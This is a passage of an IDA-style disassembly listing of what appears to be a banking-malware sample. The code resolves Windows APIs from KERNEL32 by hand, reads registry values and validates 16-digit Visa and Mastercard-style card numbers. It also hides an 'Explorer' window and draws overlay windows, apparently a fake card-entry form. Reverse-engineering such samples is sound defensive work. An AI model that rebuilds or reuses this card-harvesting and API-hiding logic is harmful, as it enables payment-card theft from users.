		jmp	short loc_440C30
; ---------------------------------------------------------------------------


loc_440C9B:				; CODE XREF: sub_440C06+7Bj
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_440CC2
		mov	eax, dword_44B1B4
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	loc_440C30
; ---------------------------------------------------------------------------


loc_440CC2:				; CODE XREF: sub_440C06+A9j
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_444B60
		movsx	eax, word_44B154
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_440D20
; ---------------------------------------------------------------------------


loc_440CFE:				; CODE XREF: sub_440C06+136j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_440D1D
		cmp	al, 7Ah
		jge	short loc_440D1D
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_440D1D:				; CODE XREF: sub_440C06+104j
					; sub_440C06+108j
		inc	[ebp+var_4]


loc_440D20:				; CODE XREF: sub_440C06+F6j
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_44B0E4
		add	edx, dword_44B18C
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_440CFE
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_440D74
		cmp	[ebp+var_102], 45h
		jnz	short loc_440D74
		cmp	[ebp+var_101], 52h
		jnz	short loc_440D74
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_440D74
		cmp	[ebp+var_FD], 33h
		jnz	short loc_440D74
		cmp	[ebp+var_FC], 32h
		jz	short loc_440D79


loc_440D74:				; CODE XREF: sub_440C06+13Fj
					; sub_440C06+148j ...
		jmp	loc_440FB6
; ---------------------------------------------------------------------------


loc_440D79:				; CODE XREF: sub_440C06+16Cj
		mov	eax, dword_44B144
		add	eax, dword_44B1B8
		sub	eax, 8
		mov	[ebp+var_108], eax
		jmp	loc_440FA1
; ---------------------------------------------------------------------------


loc_440D92:				; CODE XREF: sub_440C06+3AAj
		mov	eax, [ebp+var_108]
		mov	ecx, dword_44B1C8
		add	ecx, dword_44B094
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_444B60
		mov	eax, dword_44B144
		add	eax, dword_44B0A8
		cmp	byte ptr [ebp+eax+var_228+1], 47h
		jnz	loc_440F9B
		movsx	eax, word_44B16C
		add	eax, dword_44B13C
		cmp	byte ptr [ebp+eax+var_224+1], 74h
		jnz	loc_440F9B
		mov	eax, dword_44B0A0
		cmp	[ebp+eax+var_220], 50h
		jnz	loc_440F9B
		mov	eax, dword_44B138
		add	eax, dword_44B158
		cmp	byte ptr [ebp+eax+var_224+3], 63h
		jnz	loc_440F9B
		mov	eax, dword_44B160
		add	eax, dword_44B12C
		cmp	byte ptr [ebp+eax+var_228+3], 41h
		jnz	loc_440F9B
		mov	eax, dword_44B120
		add	eax, 4
		add	eax, dword_44B0B8
		cmp	[ebp+eax+var_21F], 72h
		jnz	loc_440F9B
		mov	eax, [ebp+var_108]
		movsx	ecx, word_44B114
		movsx	esi, word_44B0D0
		add	ecx, esi
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		mov	ecx, dword_44B1CC
		add	ecx, dword_44B09C
		sub	ecx, 8
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	dword_44B1D4, ebx
		mov	ds:dword_4471F8, edx
		lea	edi, [ebp+var_23D]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44AB90, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A65C, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_446008, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44964C, eax
		jmp	short loc_440FB6
; ---------------------------------------------------------------------------


loc_440F9B:				; CODE XREF: sub_440C06+1E8j
					; sub_440C06+203j ...
		inc	[ebp+var_108]


loc_440FA1:				; CODE XREF: sub_440C06+187j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_440D92


loc_440FB6:				; CODE XREF: sub_440C06:loc_440D74j
					; sub_440C06+393j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440C06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440FBB	proc near		; CODE XREF: sub_43AFB5+18Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, dword_44B1C8
		sub	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4475EC	; RegOpenKeyExA
		mov	edi, eax
		or	edi, edi
		jz	short loc_440FE8
		xor	eax, eax
		jmp	short loc_441015
; ---------------------------------------------------------------------------


loc_440FE8:				; CODE XREF: sub_440FBB+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_44503C	; RegQueryValueExA
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_44A618	; RegCloseKey
		or	edi, edi
		jz	short loc_441012
		xor	eax, eax
		jmp	short loc_441015
; ---------------------------------------------------------------------------


loc_441012:				; CODE XREF: sub_440FBB+51j
		xor	eax, eax
		inc	eax


loc_441015:				; CODE XREF: sub_440FBB+2Bj
					; sub_440FBB+55j
		pop	edi
		leave
		retn
sub_440FBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_441018	proc near		; DATA XREF: .data:0044B2A0o
		mov	eax, 80004001h
		retn	8
sub_441018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441020	proc near		; CODE XREF: sub_43E1CC+A3p
					; sub_43E1CC+DAp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_441061
		cmp	al, 79h
		jz	short loc_441061
		cmp	al, 75h
		jz	short loc_441061
		cmp	al, 69h
		jz	short loc_441061
		cmp	al, 6Fh
		jz	short loc_441061
		cmp	al, 61h
		jnz	short loc_441065


loc_441061:				; CODE XREF: sub_441020+2Bj
					; sub_441020+2Fj ...
		add	[ebp+arg_0], 1


loc_441065:				; CODE XREF: sub_441020+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_44106F
		add	[ebp+arg_0], 1


loc_44106F:				; CODE XREF: sub_441020+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_441020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441077	proc near		; CODE XREF: sub_43C281+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	ds:dword_448248	; VirtualAlloc
		pop	ebp
		retn
sub_441077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44108E	proc near		; CODE XREF: sub_43F0EA+BA2p

var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2BE		= byte ptr -2BEh
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_FB		= byte ptr -0FBh
var_F9		= byte ptr -0F9h
var_F8		= byte ptr -0F8h
var_F7		= byte ptr -0F7h
var_F6		= byte ptr -0F6h
var_F4		= byte ptr -0F4h
var_F1		= byte ptr -0F1h
var_F0		= byte ptr -0F0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_441FC7
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_4410B5
		cmp	al, 35h
		jnz	loc_441FC7


loc_4410B5:				; CODE XREF: sub_44108E+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4410BD:				; CODE XREF: sub_44108E+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4410BD
		mov	[ebp+var_128], eax
		mov	edx, dword_44B0B4
		add	edx, 8
		cmp	eax, edx
		jz	short loc_4410E8
		mov	edx, dword_44B0A0
		add	edx, 0Fh
		cmp	eax, edx
		jnz	loc_441FC7


loc_4410E8:				; CODE XREF: sub_44108E+47j
		mov	eax, dword_44B1A4
		mov	ebx, eax
		add	ebx, dword_44B12C
		sub	ebx, 5
		jmp	short loc_44111E
; ---------------------------------------------------------------------------


loc_4410FA:				; CODE XREF: sub_44108E+9Bj
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:dword_448370[edx], eax
		jz	loc_441FC7
		inc	ebx


loc_44111E:				; CODE XREF: sub_44108E+6Aj
		mov	eax, dword_44B0AC
		lea	eax, [eax+eax+5Eh]
		cmp	ebx, eax
		jb	short loc_4410FA
		movsx	eax, word_44B0B0
		movsx	edx, word_44B154
		lea	eax, [eax+edx+3]
		cmp	[ebp+var_128], eax
		jnz	loc_4412EA
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_44115B
		cmp	al, 20h
		jnz	loc_441FC7


loc_44115B:				; CODE XREF: sub_44108E+C3j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_44116D
		cmp	al, 20h
		jnz	loc_441FC7


loc_44116D:				; CODE XREF: sub_44108E+D5j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_44117F
		cmp	al, 20h
		jnz	loc_441FC7


loc_44117F:				; CODE XREF: sub_44108E+E7j
		mov	eax, dword_44B144
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_104], dl
		movsx	eax, word_44B19C
		mov	edx, eax
		add	edx, eax
		mov	eax, [ebp+arg_0]
		mov	al, [eax+1]
		mov	[ebp+edx+var_10A], al
		mov	eax, dword_44B1C4
		add	eax, dword_44B0E4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_104], dl
		mov	eax, dword_44B09C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_104], dl
		mov	eax, dword_44B198
		add	eax, dword_44B1B4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_104], dl
		mov	eax, dword_44B0B8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_FE], dl
		mov	eax, dword_44B1B0
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_F9], dl
		mov	eax, dword_44B1C0
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word_44B194
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F7], dl
		mov	eax, dword_44B120
		add	eax, 3
		movsx	edx, word_44B110
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44B168
		movsx	edx, word_44B0B0
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_105], dl
		mov	eax, dword_44B1A4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_F4], dl
		mov	eax, dword_44B11C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_F6], dl
		movsx	eax, word_44B110
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_F6], dl
		mov	eax, dword_44B158
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_F1], dl
		mov	eax, dword_44B138
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_F8], dl
		movsx	eax, word_44B090
		mov	edx, dword_44B1C4
		add	edx, dword_44B0EC
		sub	edx, 0Ah
		mov	[ebp+eax+var_F0], dl
		jmp	short loc_4412F9
; ---------------------------------------------------------------------------


loc_4412EA:				; CODE XREF: sub_44108E+B5j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_444B60


loc_4412F9:				; CODE XREF: sub_44108E+25Aj
		movsx	esi, word_44B0DC
		sub	esi, 6
		jmp	short loc_44131A
; ---------------------------------------------------------------------------


loc_441305:				; CODE XREF: sub_44108E+29Cj
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_441314
		cmp	al, 39h
		jle	short loc_441319


loc_441314:				; CODE XREF: sub_44108E+280j
		jmp	loc_441FC7
; ---------------------------------------------------------------------------


loc_441319:				; CODE XREF: sub_44108E+284j
		inc	esi


loc_44131A:				; CODE XREF: sub_44108E+275j
		mov	eax, dword_44B1C0
		add	eax, 0Bh
		add	eax, dword_44B0F8
		cmp	esi, eax
		jb	short loc_441305
		mov	eax, dword_44B0E4
		add	eax, dword_44B164
		sub	eax, 2
		mov	[ebp-108h], eax
		mov	esi, dword_44B12C
		sub	esi, 5
		jmp	short loc_441391
; ---------------------------------------------------------------------------


loc_44134B:				; CODE XREF: sub_44108E+313j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word_44B0DC
		add	edx, dword_44B0A8
		sub	edx, 7
		imul	eax, edx
		add	[ebp-108h], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_441385
		mov	eax, dword_44B09C
		inc	eax
		sub	[ebp-108h], eax


loc_441385:				; CODE XREF: sub_44108E+2E9j
		movsx	eax, word_44B110
		sub	eax, 2
		add	esi, eax


loc_441391:				; CODE XREF: sub_44108E+2BBj
		mov	eax, dword_44B190
		add	eax, 0Ch
		add	eax, dword_44B124
		cmp	esi, eax
		jb	short loc_44134B
		movsx	eax, word_44B168
		mov	ebx, eax
		add	ebx, dword_44B118
		sub	ebx, 8
		jmp	short loc_4413D4
; ---------------------------------------------------------------------------


loc_4413B7:				; CODE XREF: sub_44108E+350j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp-108h], eax
		movsx	eax, word_44B1BC
		sub	eax, 4
		add	ebx, eax


loc_4413D4:				; CODE XREF: sub_44108E+327j
		mov	eax, dword_44B12C
		add	eax, 0Bh
		cmp	ebx, eax
		jb	short loc_4413B7
		mov	eax, [ebp-108h]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		movsx	edi, word_44B1A8
		add	edi, dword_44B108
		cmp	edx, edi
		jnz	loc_441FC7
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_44A774
		pop	ecx
		or	eax, eax
		jnz	loc_441FC7
		mov	eax, dword_44B0C0
		movsx	edx, word_44B154
		mov	esi, eax
		add	esi, edx
		sub	esi, 9
		mov	esi, dword_44B190
		sub	esi, 3
		jmp	short loc_441450
; ---------------------------------------------------------------------------


loc_441438:				; CODE XREF: sub_44108E+3D5j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	ds:dword_448370[eax], 0
		jz	short loc_441465
		inc	esi


loc_441450:				; CODE XREF: sub_44108E+3A8j
		mov	eax, dword_44B174
		add	eax, 5Bh
		movsx	edx, word_44B1A8
		add	eax, edx
		cmp	esi, eax
		jb	short loc_441438


loc_441465:				; CODE XREF: sub_44108E+3BFj
		mov	eax, dword_44B13C
		add	eax, 62h
		cmp	esi, eax
		jz	loc_441FC7
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_448370[edx], eax
		push	offset word_44BEFE
		call	sub_4424C1
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	ds:dword_44A638	; FindWindowExA
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_4414BE
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_4414BE:				; CODE XREF: sub_44108E+425j
		push	offset asc_44BEF1 ; "\t"
		call	sub_4424C1
		push	eax
		push	[ebp+var_134]
		call	sub_43D7F1
		mov	[ebp+var_12C], eax
		push	offset aExplorer ; "Explorer"
		push	eax
		call	sub_43D7F1
		add	esp, 14h
		mov	[ebp+var_26C], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		mov	edi, [ebp+var_26C]
		mov	ebx, eax
		mov	ds:dword_448374[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		push	ds:dword_448374[eax]
		call	ds:dword_44A658	; ShowWindow
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_44A650	; GetWindowRect
		push	0
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	[ebp-10Ch], eax
		push	0
		push	eax
		push	0
		push	[ebp+var_12C]
		mov	eax, [ebp+var_110]
		sub	eax, [ebp+var_118]
		push	eax
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		push	eax
		mov	eax, dword_44B0FC
		add	eax, dword_44B1B4
		sub	eax, 8
		push	eax
		mov	eax, dword_44B124
		dec	eax
		push	eax
		push	50800000h
		lea	eax, [ebp+var_FF]
		push	eax
		push	offset aKkqVx	; "kkq-vx"
		push	200h
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_278], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_27C], eax
		mov	edi, [ebp+var_278]
		mov	ebx, eax
		mov	ds:dword_448378[ebx], edi
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		mov	ebx, dword_44B0CC
		add	ebx, 0F9h
		sub	edi, ebx
		mov	ebx, dword_44B124
		add	ebx, 34h
		add	ebx, dword_44B10C
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	eax, dword_44B0F0
		movsx	edx, word_44B0DC
		add	eax, edx
		sub	eax, 0Ah
		cmp	[ebp+var_124], eax
		jge	short loc_441625
		mov	eax, dword_44B14C
		sub	eax, 5
		mov	[ebp+var_124], eax


loc_441625:				; CODE XREF: sub_44108E+587j
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		movsx	edx, word_44B0D8
		add	edx, 28h
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	offset byte_44BED7
		call	sub_4424C1
		mov	[ebp+var_280], eax
		push	offset word_44BEBE
		call	sub_4424C1
		mov	[ebp+var_284], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_288], eax
		mov	edi, eax
		push	ds:dword_448378[edi]
		mov	edi, dword_44B14C
		add	edi, 36h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		mov	edi, dword_44B0C0
		add	edi, 13h
		add	edi, dword_44B130
		push	edi
		push	50800000h
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, [ebp+var_280]
		push	edi
		movsx	edi, word_44B194
		add	edi, dword_44B0F8
		sub	edi, 2
		push	edi
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_138], eax
		push	offset dword_44BEB4
		call	sub_4424C1
		mov	[ebp+var_28C], eax
		push	offset dword_44BEB0
		call	sub_4424C1
		add	esp, 10h
		mov	[ebp+var_290], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	edi, eax
		push	ds:dword_448378[edi]
		movsx	edi, word_44B0E0
		mov	ebx, dword_44B15C
		lea	edi, [edi+ebx+0F6h]
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, dword_44B12C
		add	ebx, 30h
		movsx	edx, word_44B0C8
		add	ebx, edx
		add	edi, ebx
		mov	ebx, dword_44B130
		inc	ebx
		add	edi, ebx
		push	edi
		movsx	edi, word_44B194
		add	edi, 14h
		push	edi
		push	50800009h
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, [ebp+var_28C]
		push	edi
		mov	edi, dword_44B0B4
		add	edi, dword_44B1B4
		sub	edi, 9
		push	edi
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_44B1B4
		dec	eax
		push	eax
		mov	eax, dword_44B118
		add	eax, dword_44B174
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_44B0B8
		movsx	edx, word_44B0E8
		add	eax, edx
		sub	eax, 9
		push	eax
		push	2BCh
		mov	eax, dword_44B17C
		movsx	edx, word_44B128
		add	eax, edx
		sub	eax, 6
		push	eax
		mov	eax, dword_44B10C
		add	eax, dword_44B178
		sub	eax, 0Ah
		push	eax
		movsx	eax, word_44B16C
		add	eax, 4
		push	eax
		mov	eax, dword_44B164
		add	eax, 10h
		add	eax, dword_44B0A0
		push	eax
		call	ds:dword_448250	; CreateFontA
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	ds:dword_445014	; SendMessageA
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		push	[ebp+var_13C]
		mov	eax, dword_44B0F0
		add	eax, 0EDh
		add	eax, dword_44B174
		movsx	edx, word_44B168
		sub	edx, 4
		sub	eax, edx
		push	eax
		mov	eax, [ebp+var_120]
		mov	edx, dword_44B1B8
		movsx	ecx, word_44B0BC
		add	edx, ecx
		sub	edx, 8
		sub	eax, edx
		push	eax
		movsx	eax, word_44B1BC
		add	eax, dword_44B11C
		sub	eax, 8
		push	eax
		mov	eax, dword_44B0EC
		sub	eax, 4
		push	eax
		push	50000000h
		push	offset asc_44BEA7 ; " "
		push	offset aStatic	; "STATIC"
		mov	eax, dword_44B0B4
		sub	eax, 8
		push	eax
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_298], eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, [ebp+var_298]
		mov	ebx, eax
		mov	ds:dword_44837C[ebx], edi
		mov	eax, dword_44B0A4
		movsx	edx, word_44B0C8
		add	eax, edx
		cmp	[ebp+eax+var_108], 34h
		jnz	short loc_4418F3
		push	offset aVisa	; "VISA"
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_444B60
		jmp	short loc_44190B
; ---------------------------------------------------------------------------


loc_4418F3:				; CODE XREF: sub_44108E+850j
		push	offset asc_44BE94 ; "\n"
		call	sub_4424C1
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_444B60


loc_44190B:				; CODE XREF: sub_44108E+863j
		push	offset word_44BE22
		call	sub_4424C1
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	ds:dword_44A634
		push	offset dword_44BE18
		call	sub_4424C1
		add	esp, 18h
		mov	[ebp+var_2A0], eax
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A4], eax
		mov	edi, eax
		push	ds:dword_44837C[edi]
		mov	edi, dword_44B144
		add	edi, 2Bh
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_44B190
		add	edi, 7
		push	edi
		mov	edi, dword_44B1C4
		add	edi, 5
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, dword_44B098
		movsx	ebx, word_44B0D8
		add	edi, ebx
		sub	edi, 0Ch
		push	edi
		call	ds:dword_449648	; CreateWindowExA
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_44B0B8
		sub	eax, 4
		push	eax
		mov	eax, dword_44B158
		add	eax, dword_44B18C
		dec	eax
		push	eax
		movsx	eax, word_44B100
		sub	eax, 9
		push	eax
		push	190h
		mov	eax, dword_44B198
		sub	eax, 8
		push	eax
		mov	eax, dword_44B0C4
		sub	eax, 4
		push	eax
		movsx	eax, word_44B168
		sub	eax, 2
		push	eax
		mov	eax, dword_44B0A8
		add	eax, 9
		movsx	edx, word_44B110
		add	eax, edx
		push	eax
		call	ds:dword_448250	; CreateFontA
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_445014	; SendMessageA
		push	0
		push	dword ptr [ebp-10Ch]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	[ebp+var_2AC], eax
		push	ds:dword_44837C[eax]
		mov	edx, dword_44B0FC
		add	edx, 121h
		add	edx, dword_44B0B8
		push	edx
		mov	edx, dword_44B0EC
		movsx	ecx, word_44B100
		lea	ecx, [ecx+edx+24h]
		push	ecx
		mov	ecx, dword_44B1B0
